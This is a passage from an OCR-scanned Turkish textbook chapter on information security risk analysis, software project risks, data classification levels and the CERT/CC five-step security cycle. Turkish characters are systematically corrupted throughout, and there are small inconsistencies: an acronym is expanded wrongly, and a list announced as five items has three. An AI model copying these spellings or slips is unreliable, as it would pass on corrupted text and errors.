Bunun zararli etkileri olabilmektedir. Bu nedenle bir ¢ok yerde, risk analizi yapilmadan
giivenlik 6nlemleri alinmaktadir.

e Risk analizinin sonuglar1 nesnel olmasi beklenirken daha ¢ok 6znel olabilmektedir.
Ozellikle nitel risk analizinde bu problem daha ¢ok gériilebilir. Ciinkii, nitel risk analizinde
risk, sayisal degerlerden ¢ok tanimlar ile ifade edilmektedir.

e Risk analizi ve yonetimi prosesi, 6nceden belirlenmis kesin adimlar1 olan prosesler
degildir. Nitel ve nicel risk analizi yOntemlerinin c¢atis1 altinda, bir c¢ok risk analizi
metodolojisi mevcuttur. Bu metotlar, riski yorumlama asamasinda birbirinden ayrilirlar.

e Tim kurumlara uyan bir risk analizi metodolojisi mevcut degildir. Ciinkii her
organizasyonun kendine 0zel bir kiymet listesi, bu kiymetlere gore farkli farkli tehditleri
vardir. Biitiin bunlarin disinda, kurumdan kuruma giivenlik anlayisi ve giivenlik
gereksinimleri de degisim gostermektedir. Risk analizi ve yonetimi yapilacak olan bir
kurumda, oncelikle ne tip bir risk analizi ve yonetimi metodunun uygulanmasi gerektigi
belirlenmelidir.

¢ Giliniimiizde, kiymetlerin, buna bagl olarak acikliklarin ve tehditlerin artmasi ile
beraber, risk analizi ve yOnetiminin sahasina giren, kiymet tanimlama, agiklik belirleme,
tehdit tanimlama ve kars1 6nlem belirleme safhalar1 ¢ok genis nesneleri kapsadigindan dolay1,
bir ¢ok risk analizi ve yonetimi metodu her nesneyi kapsamamakda ve bazi nesneler gozardi
edilebilmektedirler.

7.2.2 Risk Hesaplama Metodlan

Risk Analizinde bir ¢ok teknik kullanilmaktadir. Ornegin, IPK (Istatistiksel Proses
Kontrol), TPM (istatistiksel Proses Kontrol), FMEA (Hata Tiirleri Etkileri Analizi), gibi
bir¢cok yontem sayilabilir.

En yaygin ve basit olan iki Temel Risk Hesaplama yontemi, nicel (quantitative) ve
nitel (qualitative) yontemlerdir. Bunlardan Risk = Olasilik x Siddet formiilii nicel risk
analizinin temel formiiliidiir. Formiilde olasilik; tehditin olma ihtimaline ve siddet; tehditin
etkisine (1,2,3..gibi) sayisal degerler verilir ve bu degerler matematiksel ve mantiksal
metotlar ile degerlendirerek risk degeri bulunur. Bu formiile gore, sonu¢ ne kadar fazla
cikarsa, risk o kadar yiiksektir. Bir tehditin olma olasilig1 ¢ok az ancak, ortaya ¢iktig1 zaman
verecegi zarar ¢ok fazla ise, orta derecede bir risk s6z konusudur.

Diger temel risk analizi yontemi ise nitel risk analizidir. Nitel risk analizi riski
hesaplarken ve ifade ederken numerik degerler yerine Az, orta, cok gibi tanimlayici degerler
kullanir. Ayrica, nitel risk analizi tehditin olma ihtimalini kullanmaz, riskin sadece etki
degerini dikkate alir.
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Sekil 7.3 : Risk Yénetimi’'nin risk hesaplama metodlari

Sirketlerin bu rekabetci is diinyasinda varliklarini siirdiirebilmeleri, risklerini analiz
etmeleri ve yOnetmelerine, her seyden once g¢alisanlarin bu tiir sistemleri uygulayabilecek
diizeyde bilgi ile donatilmig olmalarina baghdir. Ciinkii bilgi giictiir. Gii¢lii olmak; risklere
kars1 koymak, onlem almak, riski yonetmek demektir. Strateji, yon, oncelik, risk yonetimi
stirecinde var olan seylerdir.

Sekilde 7.3 de risk yonetimi maliyeti ve giivenlik arasindaki iligki ele alinmistir. Risk
yonetimi asamasinda onemli olan ne kadar giivenlik istegimizdir, buna karar verirkende

kiymetlerimizin degerini g6z 6niine almaliy1z.

Sonug olarak; Risk, is yapmanin maliyetidir. Is yapanlar risk alanlardir. Risk analizi
ve yonetiminin ana ¢ikis noktasi budur.

7.2.3 Risk ile Ilgili Bir Hikaye

Hoca bir sinavda “risk nedir?” diye soruyor.

Bir 6grenci sinavin ilk 10 saniyesinde teslim ediyor kagidini. Kagidin iist kisminda
sadece isim-soyadi yaziyor, gerisi ise bombos beyaz yaprak.

En altta ise “Iste risk budur” diye yaziyor.
Ve sonucta da siniftaki en yiiksek notu aliyor.

Hocanin bir sonraki sinavinda yine "Risk nedir?" sorusuyla karsilasan ogrencimiz
tekrar bos kagit verince bu sefer sifir aliyor. Tabii kosa kosa hocaya gidip sebebini soruyor.
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f§te cevap:
"Aymi sartlar altinda, ayni viski iki kere almak aptalliktir!"

7.3 Yazilim Projelerinde Risk Yonetimi

Biiyiik ¢apli yazilim projelerinin gelistirilmesi pek ¢ok risk icermektedir. Ornegin
Internet iizerinden acgik arttirma yapilan eBay firmasinin yazilim sisteminin sadece bir kag
saat i¢in servis dis1 kalmasmin firmaya maliyetini milyon dolarlar ile 6l¢ebiliriz. Kii¢iik ve
orta Olgekli projelerin maliyeti, projenin belirlenen zamani asmasi ile birlikte Ongdriilen
maliyetin lizerine ¢ikmaya baglar. 10 kisilik bir proje ekibinde 1 ¢aliganin saatlik maliyeti 100
USD ise, sirket her is giinii i¢in ortalama 40.000 USD harciyor demektir. Tabi giinliik
maliyete kacan firsatlari, kaybedilen satislar1 ve kazanilan memnuniyetsiz miisterileri de
eklemek gerekir ki bu {i¢ unsur, giinliik maliyetten ¢ok daha 6nemli bir kayiptir.

Kapsamli bir bilgi giivenligi programi, genellikle ii¢ seyi belirleyip risk 6l¢timii
yapilarak baslanir;

e Kurumun bilgi varliklarindan hangilerinin korunmasi gerekir ?
e Bu varliklara karsi ne gibi tehditler vardir ?
¢ Bu olasi tehditlerin gergeklestigi durumda kuruma ne gibi zararlar gelebilir ?

Proje igersindeki risklerin ortadan kaldirilmast i¢in daha esnek gelistirme
deneyimlerine dayanan “Onleyici Risk Y®&netimi”nin kullanimi ¢ogu durumda olumlu
sonuglar verir. Uygulamanin ana fikri, uygulama gelistirme ve yaymlama siirecinde
gecikmeye veya projenin basarisiz olmasina neden olabilecek tiim adimlarinin tanimlanmasi
ve tanimlanan riskin ortaya ¢ikmasi durumunda uygulanarak, riski ortadan kaldiracak veya
etkisini hafifletecek stratejilerin planlanmasidir. Proje ekibi riskleri, gelistirme siireci
oncesinde ve gelistirme siirecinde 6ngdrerek karsi stratejilerini planlamaktadir.

7.3.1 Risklerin Tanimlanmasi ve Degerlendirilmesi

Risk yonetiminde ilk adim risklerin tanimlanmasidir ve riskleri ortaya ¢ikartmak i¢in
sormamiz gereken ilk soru “Projenin planlanan zamani agmasina veya basarisiz olmasina ne
neden olabilir?” olmalidir. Risklerin siniflandirilmasi proje grubuna tanimlama siirecinde yol
gosterebilir ancak smiflandirma igleminin gergeklestirilmesi de son derece uzun ve
zahmetlidir. Bununle birlikte her tiirlii projede karsilasilabilecek tiirden bazi risklerin gdzden
kagirilmasi ihtimali s6z konusudur. Software Engineering Institute'in siniflandirmasi, 6rnegin
tasarim ve entegrasyon gibi internal proje risklerine odaklanmistir ve is gereksinimlerinin
degismesi, platform bagimliliklart gibi external riskler neredeyse tamamen g6z ardi
edilmistir.

Risk degerlendirmenin Oncelikli amaci hangi bilgi varliklarinin acilen korunmasi
gerektigini belirlemek kar-maliyet analizi yaparak onlem almanin uygun olup olmadigina
bakilir. Calisanlar, bilgi glivenliginin sirket faaliyetleri agisindan can alic1 oldugunu, sirket ici
bilgilerinin korunmasinin, sirket varliginin korunmasi i¢in 6nemli oldugunu, iist diizey
yoneticiler tarafindan calisanlara ilk ise bagladiklar1 giinden itibaren verilmelidir. Calisanlar,
giivenlik kurallarina ve siireclerine uymadiklar takdirde olusabilecek sonuglar hakkinda da
uyarilmalhidirlar.
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Risk tanimlamasinda risklerin her an degistigini kabul etmeliyiz. Proje ekibinin
herhangi bir plan yapmadigi riskler her an ortaya c¢ikabilmektedir. Microsoft Solutions
Framework, risklerde meydana gelebilecek degisikliklere ve ortaya ¢ikabilecek yeni risklere
kars1 yoneticilerin riskleri siirekli olarak degerlendirmelerini 6neren sayili metodolojilerden
biridir.

Risklerin ydnetiminde tanimlamadan sonra gelen ikinci adim ise risklerin
degerlendirilmesidir. Risk degerlendirmesi, proje ekibinin, proje hedeflerini belirlemesinin
hemen sonrasinda baglamali ve tiim proje siiresince siirmelidir. Proje ekibi riski tanimladiktan
sonra asagidaki adimlari izleyebilir:

7.3.1.1 Proaktif Onleme

Onleyici risk ydnetimi iic onemli alanda proaktif ydnetim gerektirir. Bunlar; insan,
siire¢ler ve kontrol sistemleridir.

7.3.1.1.1 insan

Ucgiiniin i¢inde insan en dnemli etkendir. Eger isbirligi iginde olmazlar ve birbirleriyle
calismak konusunda isteksiz olurlarsa, projeler genellikle basarisiz olur. Inceledigim bazi
projelerde; insanlar, daha iyi karar verebilme giicii, proglamlama ve risk yonetimi becerileri
konusunda egitilmesinin proje basarilarinda olduk¢a yardimei oldugu bilinmektedir. Projeleri
son giinlerine kadar yetistirme hedefi takim ruhunu yaratmig bu da insanlarin birbirlerine
daha sabirli olmasini ve problem ¢ozmede daha istekli olmalarimi saglamistir. Diger bir
yandan da projeleri son giine yetistirmek i¢in siirekli bir miicadele i¢inde olmak takim i¢inde
kotii niyete neden olabilir. Stres artar, insanlarin birbirlerine daha az sabirli oldugu gézlenir
ve birbirlerine kars1 daha az yardime1 olurlar. Herkes sadece projenin son giiniine ve dag gibi
olmus problemlere odaklanir ve yonetim projeyi tamamlamak i¢in acil bir durum yaratana
kadar hersey daha kotii gidecektir.

7.3.1.1.2 Siiregler

Stiregler aynit zamanda risk yonetimini etkilemektedir. Esnek, degisikliklere kolay
adapte olabilen siirecler, proje ekibinin degisikliklere daha kolay yanit vermesini
saglamaktadir. Bunlar olmadan, projeyi belirli bir izde tutmak son derece zordur.

Dinamik methodlar kullanilan yazilim projeleri daha basarili ve daha kullanilabilir
olmaktadir. Siirekli kullanic1 girisleri, ortak kullanilan fonksiyonlar ve metodlarin tekrar
tekrar kullanilmasi gereksiz vakit ve gii¢ kaybina neden olur. Takim iiyelerinin yakin
etkilesimi, proje iistiinde tiim takim tiyelerinin pay1 olmasi anlamina gelir. Sorumlu oldugum
bir projede yayimlarimiz baska bir projenin yayinlariyla ayn1 anda gelmistir. Bu da, az ¢alisani
olan destek takimi i¢in bazi problemler yaratmistir. Bu ¢atismay1 bazi takim iiyelerine ek
destek saglayarak ve yayin turunu degistirerek ¢ozdiik.
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7.3.1.1.3 Kontrol Sistemleri

Proje ekiplerinin, risk yonetimi de dahil olmak iizere projenin her bdoliimiinii
gozlemleyen ve Olglimlendiren bir mekanizmaya gereksinim duymalarindan dolay1 yonetim
kontrol sistemleri olduk¢a dnemlidir. Yeterli ve basarili bir gdzlem ve ol¢iimlendirme bir
projeyi kurtarabilecegi gibi, zayif ve yetersiz yapilacak gozlem ve dl¢iimlendirme ¢aligsmalari
projelerin basarisizligina neden olabilir.

Pek ¢ok risk siniflandirma yontemi, projeleri ciddi anlamda etkileyebilecek dis riskleri
gozden kagirmaktadir. Asagidaki liste, giinlimiiz projelerinde siklikla karsilagtigimiz risk
kategorilerini listelemektedir. Esnek bir gelistirme siireci, ilk ii¢ kategorideki risklerin etkisini
hafifletmeye yardimci olmalidir. Proje ekibinin gereksinimlerin tanimlanmasinda, sistem
tasarimlarinin veya platformlarin diizenlenmesinde serbest kalmasi, ileride ¢esitli riskleri
beraberinde getirecek basarisiz ortakliklarin ¢evresinde doniip durmasina gore ¢ok daha
lyidir.

7.3.1.1.3.1 Gereksinimler

Belirsiz, netlestirilmemis gereksinimler her zaman i¢in projeler agisindan risk
anlamina gelmektedir. Bu en sik kargilagilan ve basarisizliga ugramis, gecikmis projelerde
yasanan en temel problemlerden biridir. Rekabete kosullar1 ve yapilan yeni anlagmalar her
zaman i¢in kurumlarin yazilim sistemlerinin degismesi ihtiyacini ortaya ¢ikartmigtir.
Kullanicilar, ihtiya¢ duyduklar1 fonksiyonlar1 sunan optimum yazilimi kullanana kadar
akillarinda canlandiramazlar ve bu gereksinimlerin belirsiz ve degisiklige acik olmasina
neden olur.

7.3.1.1.3.2 Teknoloji

Gelistirme siirecinin bir noktasinda gelistirme grubu kullanilan teknolojinin sistem
gereksinimlerini tam olarak karsilayamayacagini farkedebilir. Ornegin takim iiyeleri
kullandiklar1 veritabani sisteminin kolay bir sekilde hasar géormeyecegini diisiinebilir ancak
sistem gelistirildikge kullanilan veritabani sisteminin verilerin hasar gormesine neden
olabilecek ¢esitli hatalar icerdigini farkedebilir ki bu noktada, bdyle bir alanda yasanacak
degisiklik, proje i¢in 6liimciil olabilir.

7.3.1.1.3.3 Politik

Bunlari, iistesinden gelmesi en zor olan riskler olarak tanimlayabiliriz. Biiyiik
organizasyonlar, biiylik aileler gibi davranmaya mecburdur. Ancak pek ¢ok nedenden dolay1
ailenin bazi tiiyeleri, biitcenin kisitlanmasina veya tamamen kaldirilmasina hatta projenin
tamamen iptaline neden olacak adimlar atabilir. Bu tiir durumlara kars1 planlar hazirlamak,
sonradan pek c¢ok olumsuz sonu¢ dogurabileceginden dolayr son derece zordur. Elbette
yaptiginiz karsi planlarin yine bu kisilerce 6grenilmesi, ayri bir risk unsurudur.
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7.3.1.1.3.4 Kaynaklar

Bir projenin ihtiya¢ duydugu insan, para veya donanim kaynaklarini alamamasi
belirlenen takvimin digina ¢ikilmasina neden oldugu gibi, projede calisanlarin moralinin
kaybolmasina da neden olur. Her zaman i¢in alternatif kaynaklarin belirlenmesi bu gibi
sorunlarin ortadan kolayca kaldirilmasini saglayacaktir.

7.3.1.1.3.5 Dagitim ve Destek

Proje ekibi uygulamanin dagitimimi gerekli altyapinin zamaninda hazirlanamamis
olmasindan, destek ekibinin egitim ve destek i¢cin hazir olmamasi gibi nedenlerden dolay1
planlanan zamandan uzaklasilabilir. Proje ekibinin, gelistirilen proje hakkinda fikir sahibi
olmamasi, bu tiir risklerin ortaya ¢ikmasina neden olan en genel unsurdur ve ¢ok kolay bir
¢Oziimii vardir: proje siirecinde ¢alisacak tlim ekiplerin birbirleri ile iletisim i¢inde olmasini
saglamak.

7.3.1.1.3.6 Entegrasyon

Uygulama gelistiricilerin en sik karsilastigi gereksinimlerden biri, gelistirilecek olan
uygulamanin, farkli uygulamalar ile entegre calismasini saglamaktir. Yetersiz iletisim ve
yanlis anlasilmalar yapilan ¢alismalarin sonunda uygulamalarin bir arada beklenen sekilde
caligmamasi ile sonuglanabilir. Bu sorunu ortadan kaldirmanin en kolay yolu, yeterli iletisimi
saglamak ve miimkiin olan durumlarda entegrasyon islemini uygulamalarin gelistirme
stirecinde gergeklestirmektir.

7.3.1.1.3.7 Takvim ve Zamanlama

Cesitli unsurlarin gerekli olduklar1 anlarda hazir olmamasindan kaynaklanan takvim
ve zamanlama sorunlar1 proje maliyetine en fazla olumsuz katkida bulunan konularin baginda
gelir. Bu tiir sorunlar1 yasamamanin tek yolu dogru ve basarili bir planlama siireci sonrasinda
tiim alt siirecleri gergek zamanli olarak izlemek ve takvimin disina ¢ikilmasina neden olacak
her durumun 6niine geg¢ilmesidir.

7.3.1.1.3.8 Bakim ve lyilestirme

Sirket dokumantasyonun yetersiz olmasi ve destek ekibinin yeterli hazirlig
yapmamis, gerekli egitimleri almamis olmast durumunda uygulamayir dogru olarak
yonetemez, gelistiremez. Gerekli egitimler ve dokumantasyon hazirligi i¢in gerekli zamanin
planlanmas1 bu tiir riskleri ortadan kaldiracaktir. Esnek bir proje siirecinde, proje
yoneticilerinin egitim, dokumantasyon ve destek i¢in yeterli i giiclinli, zaman1 ve biit¢eyi
tahsis etmemesi, islerin kotliye gitmesine neden olacaktir.

7.3.1.1.3.9 Tasarim

Hatali tasarimlar uygulamalarin kullanilabilirligini ve performansini diistirecektir.
Esnek bir gelistirme siirecinde kullanicilardan alinacak feedbackler dikkate alinir ve bu
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feedbackler dogrultusunda tasarim iyilestirmeleri gerceklestirilerek bu tiir riskler ortadan
kaldirilabilir.

Elbette bu gibi Ongoriilebilecek riskler s6z konusu oldugu gibi, 6ngérmenin pek
miimkiin olmadig1 ancak gelistirme siirecini aksatabilecek viriis saldirilari, sirket ofisine
yapilacak bir saldir1 gibi pek ¢ok durum séz konusu olabilir. Bu tiir beklenmedik durumlarla
basetmek icin her tiirlii riski, gerceklesme olasiligina bakmaksizin listelemek ve olast ¢6ziim
planlarini, en uygun yedekleme stratejisini hazirlamak en yerinde hareket olacaktir.

Beklenmedik riskler her zaman icgin projelerimizi tehdit etmekte ve Onemli
gecikmelere hatta basarisizliklara neden olabilmektedir. Esnek proje siiregleri risklerin
ongoriilmesini, kars1 planlarin hazirlanmasini ve uygulamaya konmasini kolaylastiran uygun
risk yonetimini kullanmaktadir. Proje siirecine ihtiya¢ duyulan esnekligi kazandirmanin yolu
ise proje ekibinin becerilerinin arttirilmasindan gegmektedir. Ayn1 zamanda projelerde en
efektif planlama, Ol¢limleme ve paylasimin gergeklestirilebilmesi i¢in en uygun kontrol ve
yoOnetim sistemlerinin kullanilmasi gerekmektedir.

7.3.2 Veri Siniflandirma

Bir veri siniflandirma politikas1 kurumun bilgi varliklarin1 korumak i¢in énemlidir ve
hassas bilgilerin yayilmasini denetleyen bir siniflandirma sistemi gerekir. Bu yontem,
kurumda tiim calisanlar1 her bilgi pargasinin hassaslik derecesi konusunda bilinglendirerek
sirket Dbilgilerini korumak igin bir ¢ergceve olusturulur. Veri smiflandirilmasi olmadan
calismak, kararlarin ¢ogunu bireysel diizende calisanlara birakilir. Bu islerin istenilen siire
bitmemesine ve sonu pekde hos olmayan sonuglar dogurabilir. Veri siniflandirma politikasi,
degerli bilgilerin siiflandirilmast  i¢in  yol gostericidir. Her bilgi pargasinin
siniflandirilmasiyla c¢alisanlar, hassas bilgilerin kasitsiz olarak sirketten digart ¢ikmasini
onleyecektir. Bu slirecler calisanlarin hassas bilgileri yetkisiz kisilere vermek ig¢in
kandirmalart olasiligin1 azaltacaktir. Her c¢aligan kurumun veri smiflandirma politikasi
hakkinda egitilmelidir.

7.3.3 Siniflandirmalar ve Tanimlamalar

Kurumlarin yaptiklar1 islere ve biiyiikliigline gore siniflandirma diizeyleri
degisecektir. Hassas bilgilerin sayist ve ¢esidine gore isletmeler, belirli bilgi g¢esitlerini de
kapsamak icin yeni siniflandirmalar eklemek isteyebilir. Kii¢lik isletmeler i¢in ii¢ diizeyli bir
siniflandirma sistemi yeterli olacaktir.

7.3.3.1 Gizli

Bu bilgi sinifi en hassas olanidir. Gizli bilgiler yalnizca kurum i¢i kullanim igindir.
Cogu zaman kesinlikle bilmesi sart olan sinirli sayida insan tarafindan bilinmelidir. Gizli
bilgi, herhangi bir yetkisiz paylasimin sonucunda kuruma ve miisteriye ciddi zararlar
verebilecegi bir yapidadir. Bu bilgiler; Ticari sirlar, yazilmis programlara ait kaynak kodlari,
teknik ya da islevsel bilgiler. Gelecekteki is stratejileri ve girketin isleri i¢cin 6nemli olan diger
bilgiler bu gruba dahil edilmektedir.

7.3.3.2 Ozel

Bu smiflandirma, kurum iginde kullanilmasi ongoriilen kisisel nitelikteki bilgileri
igerir. Ozel bilgiler yetkisiz kisilerin eline gectigi zaman kuruma ciddi sekilde zarar
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verebilmektedir. Bu tarz bilgilerin arasinda, ¢alisanlarin kurum hesap bilgileri, ticret bilgileri
ya da halka ag¢ik olmayan diger kisisel tanimlamalar bulunmaktadir.

7.3.3.3 Dahili

Bu bilgi smifi kurumda calisan herkese rahatlikla dagitilabilir. Dahili bilgiler
genellikle giinliik islerde kullanilan, disariya verilmemesi gereken sirket kurulug semalari, ag
baglant1 numaralari, dahili sistem adlari, uzaktan erisim siirecleri ve bunun gibi herhangi bir
bilgiyi igerebilir.

7.3.3.4 Genel

Ozellikle kamuya duyurmak iizere belirlenmis bilgilerdir. Basin agiklamalari ve {iriin
brosiirleri bu tiir bilgiye dahil edilir.

7.4 Giivenlik Uygulama Dongiisii

Uluslar Arasi1 Bilgisayar Acil Durum Miidahale Ekipleri Koordinasyon Merkezi
(Computer Emergency Response Teams Coordination Center — CERT/CC), aglart ve
sistemleri korumak i¢in gerceklestirilmesi gereken faaliyetleri bes ana baglik altinda
toplanmistir. CERT/CC, bu gruplanmay1 yaparken gegmis yillarda rapor edilen saldirilart ve
zayifliklar1 temel almistir ve bu gruplandirma ¢ercevesinde tanimlanan faaliyetlerin glivenlik
ihlallerinin %80’ nini engelleyebilecegini ongdrmektedir.

CERT/CC tarafindan 6ngdriilen bu bes adimlik giivenlik uygulamasi firma, iiriin ya da
teknolojiden bagimsiz olarak diizenlenmistir. Tiim adimlarda, firmanin giivenlik ihtiyaglar
icin zemin olusturulacak kurumsal hedeflerinin ve kurumsal giivenlik programi ve
politikasinin  6nceden olusturulmus oldugu varsayilir. CERT/CC tarafindan Ongoriilen
giivenlik uygulamalarmin bes adimlik déngiisii asigidaki adimlardan olusur; Ik adim harig
her adima izleyen adimlardan geri doniisler saglanir.

7.4.1 Koruma ve Saglamlastirma

Bu ilk adimda, sistemlerin ve agin giivenligini arttirmaya yonelik faaliyetler
gerceklestirir. Yangin bicimde bilinen saldirilara karsi onlemler alimir ve bu onlemler
denetlenerek isler hale getirilir. Diger tiim adimlar bu adimin sonucunda ulasilan diizeye gore
gelistirilebileceginden bu adimin etkin bir bi¢imde planlanmasi ve gerceklestirilmesi son
derece dnemlidir.

7.4.2 Hazirhk

Hazirlik asamasinda, bilinmeyen saldirilarin tesbit edilebilmesi ve bu saldirilara
miidahale edilebilmesi icin gerekli hazirliklar gerceklestirilir. Bilindik saldirilar i¢in alinan
onlemler ile bu adimda gerceklestirilen faaliyetler karistirllmamalidir. Bilindik saldirilara
kars1 alinan 6nlemler koruma ve saglamlastirma adiminin konusudur. Bu adimda 6nemli olan
bilinmeyeni tespit edebilmek ve gerceklestiginde miidehale edebilmek igin gerekli zeminin
olusturmakdir.
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7.4.3 Tespit

Bu adimda ag ve sistemler iizerinde yetkisiz ya da siipheli olaylar tespit etmek icin
gerekli iglemler gergeklestirilir. Ag trafiginin, kullanic1 davraniglarinin, dosya, dizinlerin ve
yazilimlarin izlenmesi bu baglamda ele alinmahidir. Bir yetkisiz erisim ya da siipheli olay
tespit edildiginde ilk inceleme de bu adim kapsaminda gergeklestirilir.

7.4.4 Miudehale

Stipheli bir olayin tespit edilmesi durumunda olayin gercekden bir saldir1 olup
olmadiginin belirlenmesi, saldir1 ise en kisa siirede saldirinin etkilerinin yok edilerek
sistemlerin tekrar sikintisiz bicimde calisir hale getirilmesi ve uygun ise saldirganlar aleyhine
hukuki girisimlerin baslatilmasi bu adim kapsaminda ele alinir.

7.4.5 lyilestirme

Saldirilara miidehale edilmesinden sonra benzer tiirde saldirilarin muhtemel etkisini
azaltmak ve miimkiin ise bu tiir saldirilarin gergeklesmesini dnlemek lizere ag ve sistem
giivenligini arttict 6dnlemlerin alinmasi bu adim kapsaminda ele alinir. Miidehale sonrasinda
alinan onlemlerin genele yayginlastirilmasini saglamak i¢in bu adimda degerlendirilir.

7.5 Giivenlik Kurallan

Giivenlik kurallari, bilgiyi korumak amaciyla ¢alisanlar i¢in yon gostericidir ve olasi
tehditleri bertaraf etmek icin etkili kontroller gelistirilmesinin temel tasidir. Bu kurallar,
saldirilar1 tesbit etmeye ve dnlemeye gelince daha da 6nem kazanmaktadir.

Etkili giivenlik kontrolleri, iyi diizenlenmis kurallar ve siireclerle ¢alisanlar1 egiterek
kazandirilir. Fakat kullanicilar bu giivenlik kontrollerini tam olarak uyguladiklar takdirde
bile saldirilarin tiimiine engel olamazlar. Amag, riski kabul edilebilir diizeye indirgemektir.

Internet ortaminda miisteriye yonelik bir uygulama calisiyorsa ve buna yonelik bir risk
yonetimi gelistirilmediyse sonug felaket olabilir. Felaketlerinin 6niine gecilirken de her tiirlii
giivenlik Onlemini sisteme monte edildiginde de sistem asir1 yiiklenir ve istemlere cevap
veremez. Burada en uygun risk yoOnetimini ele alindiktan sonra kurumlar ve kisiler
bilin¢lendirilmelidir. Kurumlardaki herkes tarafindan giivenligin 6neminin kavranmasi ve
giivenlik kurallarina uyup bunu iginin bir parcasi olarak kabul etmesi gerekmektedir. Fakat
bunlar gergeklesmedigi siirece saldirganlar, kurumlar i¢in biiyiik bir tehlike olmaya devam
edeceklerdir.

Fakat sirketlerin ve kisilerin gereken Ozeni gostermemesi ve bilgi giivenligini
saglayamadiklarindan dolay1 karsilarina ¢ikacak kayiplarin boyutlar1 hakkinda yetersiz
kalmaktadirlar. Giivenlik bilincinin olusturulmamasi ve teknik konulardaki eksik uygulamar,
giivenlik agiklarinin temel nedeni olarak ortaya c¢ikmaktadir. Kurumlarin ve kisilerin
sistemlerinde gerekli giivenlik yamalar1 yapmalari, bilgi sistemleri giivenligini tasarlamalari,
ve giivenlik risk analizi yonetimini gerceklestirmeleri durumunda gilivenlik konusundaki
eksiklikler kapatabilir.
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7.6 Risk YOnetiminin Gorevleri

Bir kurumun saldiraya ugradiklar1 zaman, sessiz kalmalar1 mantikli olabilir. Ciinkii,
miisterilerin giivenini yitirmemek ve kurumun agiklarinin oldugunu 6grenen saldirganlarin
yeni saldirilarin1 engellemek i¢in ¢ogu kurum bu yolu tercih eder ve agik bir sekilde bu tiir
olaylar rapor edilmez.

Olas1 istenmeyen sonuglara karst hazirlikli ve organize olmak, felaketlere karsi
gerektiginden fazla veya yanlis yatinm yapmamak icin Onceliklerin ve kritik siireclerin
belirlendigi, degisimlerin takip edildigi, detayli ve organize bir is devamliligi planina sahip
olmak risk yonetiminin gorevleri basinda gelir.

Bilgisayar ve bilgi islem teknolojilerindeki gelismeler sonucunda kurumlardaki veri
tabanlari, bir bagka deyisle bilgi depolarinin 6nemi kadar binalar, ekipmanlar ve insanlar da
onem kazanmakatadir. Veri kayb1 en ciddi kayiplara yol agabilecek bir risk faktorii olarak
goriilmektedir. Verilerin korunmasi ve bilgi sistemlerinin en kisa siirede ayaga kaldirilmasi
yogun rekabet ortaminda ayakta kalmanin, hizmetleri siirdiirebilmenin birinci kosulu olarak
karsimiza c¢ikmaktadir. Bilgi varliklarimin korunmasi sadece bilgi islem departmanlarinin
degil, uzun donemli stratejik bir planin pargasi olarak iist yonetimlerin sorumlulugundan en
alt kademedeki kisilerinin bilmesi gerektigi kadar olmalidir.

7.6.1 Bilisim Teknolojileri Boyutuyla Olasi Tehditler

Bilisim Teknolojileri hizmetlerini olumsuz yonde etkiliyerek kurum ya da kuruluglari,
asli gorevlerini kismen veya tamamen yerine getiremez duruma getirebilecek olasi tehditleri
bes ana baslik altinda toplamak miimkiindjir.

1. Organizasyon riski (yetersiz iletisim, yetersiz biitceleme ve planlama, projelendirme
hatalar1, yanlis kaynak kullanimu),

2. Yasal riskler (sirket iflaslar1 veya anlagmazliklari),

3. Das riskler (Dogal afetler, sabotaj, terorist saldirilar, siber saldirilar, savas hali, yangin,
su basmasi gibi fiziksel tehditler).

7.6.1.1 insan Hatalan

Insan hatas1 olarak risk yaratabilecek unsurlar, yanlis bir kaydin olusturulmasi ve
eksik egitim nedeniyle donanim ve yazilimin hatali kullanimindan kaynaklanan ve gdrevin
yerine getirilmesini etkileyen, engelleyen veya geciktiren sorunlar da olabilir. Bu durum
isletmenin nakit akisin1 da engelleyebilir. Insan hatalarindan kaynaklanan olumsuz sonuglari
en aza indirgemenin etkin yolu operasyonlarin miimkiin oldugu kadar bilgisayar
uygulamalarma tasimnmasi ve insan kaynakli miidahalelerin azaltilmasi olacaktir. Insan
bagimli noktalar iginse periyodik egitim ve tatbikatlar en azindan bilgi eksikliginden
kaynaklanan hatalar1 azaltacaktir.
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7.6.1.2 Teknolojik Riskler

7.6.1.2.1 Hatali Rasarlanmis Sistem Mimarileri

Bilgisayar sistemleri  segilirken, isletmenin  gereksinimleri g6z  Oniinde
bulundurulmalidir. Ornegin, islem kapasitesi, kullanici sayisi, sonraki yillardaki tahmini
biliylime hiz1 gibi unsurlar iyi ¢éziimlenmeli ve islemci hizi, bellek, veri saklama kapasitesi
isletmenin gereksinimine uygun olarak belirlenmelidir. Bu noktalara dikkat edilmedigi
takdirde eger isletmenin kullanacagi uygulamalar yogun islemci giici gerektiriyorsa ve
bilgisayarin iglemci giicii buna uygun degilse kullanicilarin zamaninda hizmet almalari
miimkiin olamayacaktir. Ayni durum bellek yogun islemler i¢in de gecerlidir.

7.6.1.2.2 Hatali Modelleme

Modelleme bir isi nasil yaptigimzla ilgilidir. Ornegin bir isletmedeki muhasebe
servisininde kayitlarin tablolama yazilimlarinda saklandigini ve iglem gordiigiinti varsayalim.
Kiiciik bir isletmede parasal islemlerin bu sekilde yiiriitiilmesi belki baslangigta ¢cok sorun
yaratmiyor gibi goriinebilir. Ancak isletme biiyiidiik¢e, birimler arasi veri aligverisi ihtiyact
arttik¢a her birim kendi verisini yaratmaya ¢alisacak, bu yontemle tutulan kayitlarda birimler
arasinda farklilik olma olasilig1 yiikselecektir. Artik veri denilen durum ortaya cikacak ve
tutarsizliklara neden olacaktir. Yanls iiretilen, hatali islenen veriler nedeniyle isletmenin
biiyiik maddi zararlara ugrama olasilig1 vardir.

7.6.1.2.3 Giivenlik Zaafiyetleri

Giivenlik agiklar1 nedeniyle isletmeler para ve itibar kaybina ugrayabilir ve hizmetleri
aksayabilir. Bilisim Teknolojilerinde giivenlik idari ve teknik anlamda ele alinmasi gereken
uzun soluklu bir siiregtir. Giivenlik zaafiyetleri yazilim-donanim bazinda alinmasi1 gereken
teknik tedbirlerin yetersizliginden kaynaklanabilecegi gibi, fiziki giivenligin zayifligindan
veya kullanicilarin bilingsizliginden de kaynaklanabilir. O nedenle alinan tedbirler sik
araliklarla gozden gegirilmeli, gerekli diizeltmeler yapilmali ve isletme calisanlar1 giivenlik
konusunda egitilmelidir.

7.6.1.3 Organizasyon Riskleri

7.6.1.3.1 Iletisim Sorunlan

Bilgisayarlar1 birbirine baglayan, veri iletisimini saglayan telekomiinikasyon
sistemlerinde  altyapt  problemlerinden, isletim  hatalarindan, dogal olaylardan
kaynaklanabilecek sorunlar saglikli veri iletisimini engelleyebilmektedir. Alternatif
